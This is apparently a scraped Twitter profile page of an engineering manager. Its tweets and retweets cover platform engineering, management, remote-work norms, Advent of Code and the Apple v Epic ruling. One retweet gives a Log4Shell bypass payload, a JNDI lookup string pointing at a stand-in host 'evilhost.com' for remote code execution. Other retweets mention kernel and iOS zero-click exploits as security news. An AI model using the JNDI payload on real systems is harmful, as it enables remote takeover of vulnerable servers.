I build kind and effective platform software orgs. CMU TA, CTF on PPP, ZFS at Delphix, Perf Eng at MemSQL, EM at Twitter + Roblox, Dir at Streamlit
San Francisco, CA
Joined July 2009
- Tweets354
- Following363
- Followers503
- Likes382
Oooh, I like this list of KPIs for a (part of a) Platform org: backstage.io/docs/overview/a…
Alex Reece retweeted
Thrilled to share my new blog post: Put an io_uring on it: Exploiting the Linux kernel. Follow me while I learn a new kernel subsystem + its attack surface, find an 0day, build an exploit, + come up with some new tricks. I go deep and demystify the process
graplsecurity.com/post/iou-r…
Alex Reece retweeted
Even as remote work has become normal, too many of us persist with a practice that's a by-product of a hasty transition to remote: Back-to-back meetings without a break, sometimes for hours on end. But we can't just make a new RULE--we need a new NORM. edbatista.com/2022/03/take-f…
"What then is the social responsibility of management for these social problems that become chronic complaints or degenerative diseases? They are management’s problems.
...
The health of the community is a prerequisite for successful and growing business."
- Peter Drucker, 1974
Imagine you are writing a system that validates drivers licenses. In the /upload endpoint, you store the image somewhere and enqueue a background request to do the actual validation. When you write the validation logic, you either need a strongly consistent database OR 2/
Alex Reece retweeted
FIX: Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual. #Log4Shell 1/n
My #log4j hot take - mitigation is much harder because of the modern trend of vendoring + packaging dependencies (in a static binary or in a container).
All the #golang / #Kubernetes / etc shops should take this as a warning to make sure they could do an emergency upgrade.
Alex Reece retweeted
Emotions MATTER--but a simplistic interpretation of this idea is "My feelings are justified, because they are my feelings. My feelings at this moment take precedence over all other considerations. I have the right to express my feelings any way I see fit." edbatista.com/2021/02/the-ty…
Alex Reece retweeted
"Having one’s bias confirmed endlessly by a curated cascade of information reflecting back to you your preferences and opinions, second after second, understandably breeds an illusion of certainty. But certainty is nothing like wisdom." ~@ayadakhtar theatlantic.com/magazine/arc…
#AdventOfCode2021 in awk feels like cheating, somehow.
awk 'BEGIN {depth=0; pos=0; aim=0} /forward/ {pos += $2; depth += aim * $2} /down/ {aim += $2} /up/ {aim -= $2} END { print depth * pos }'
When I signed out of my @Apple ID on my Mac, it left me logged in to iMessage. 😳 This feels … dangerous.
I’m bummed that @duolingo accepts “y’all” but not “yinz” for 你们 (plural you). Where’s your Pittsburgh pride? 🤣
How do you think about talking about personnel issues in Slack?
Pro: they're a core part of a managers job (feedback, coaching, etc)
Con: they could be pretty disastrous if accidentally typed into the wrong text box
@mahorstman @Lethain @skamille @shreyas @staysaasy @edbatista
33%Never in writing
0%Only to HR
33%Only to my manager
33%What? Why not?
6 votes • Final results Alex Reece retweeted
Stop and UPDATE your iPhones to iOS 14.8 NOW!!! We @citizenlab recovered NSO Group's FORCEDENTRY zero-click exploit (CVE-2021-30860) from the phone of a Saudi activist, and shared w/ Apple, who released iOS 14.8 today with a fix. citizenlab.ca/2021/09/forced…
The Apple v Epic ruling was fascinating to read: s3.documentcloud.org/documen…
Epic breached contract and owes >$3million.
Apple was NOT a monopoly for mobile gaming and not "coercive", but restricting in-app-payments is "anticompetitive" and Apple has to change policy
🌶quote: "Apple set its 30% commission rate almost by accident when it first launched the App Store without considering operational costs, benefit to users, or value to developers, that is, both sides of the platform"
For more analysis, check out @benedictevans (e.g. xitter.gq/benedictevans/status/1…)
You’re unable to view this Post because this account owner limits who can view their Posts. Learn more